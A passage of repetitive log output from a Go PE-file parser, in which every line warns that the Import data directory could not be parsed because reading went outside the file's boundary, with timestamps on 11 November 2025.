data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 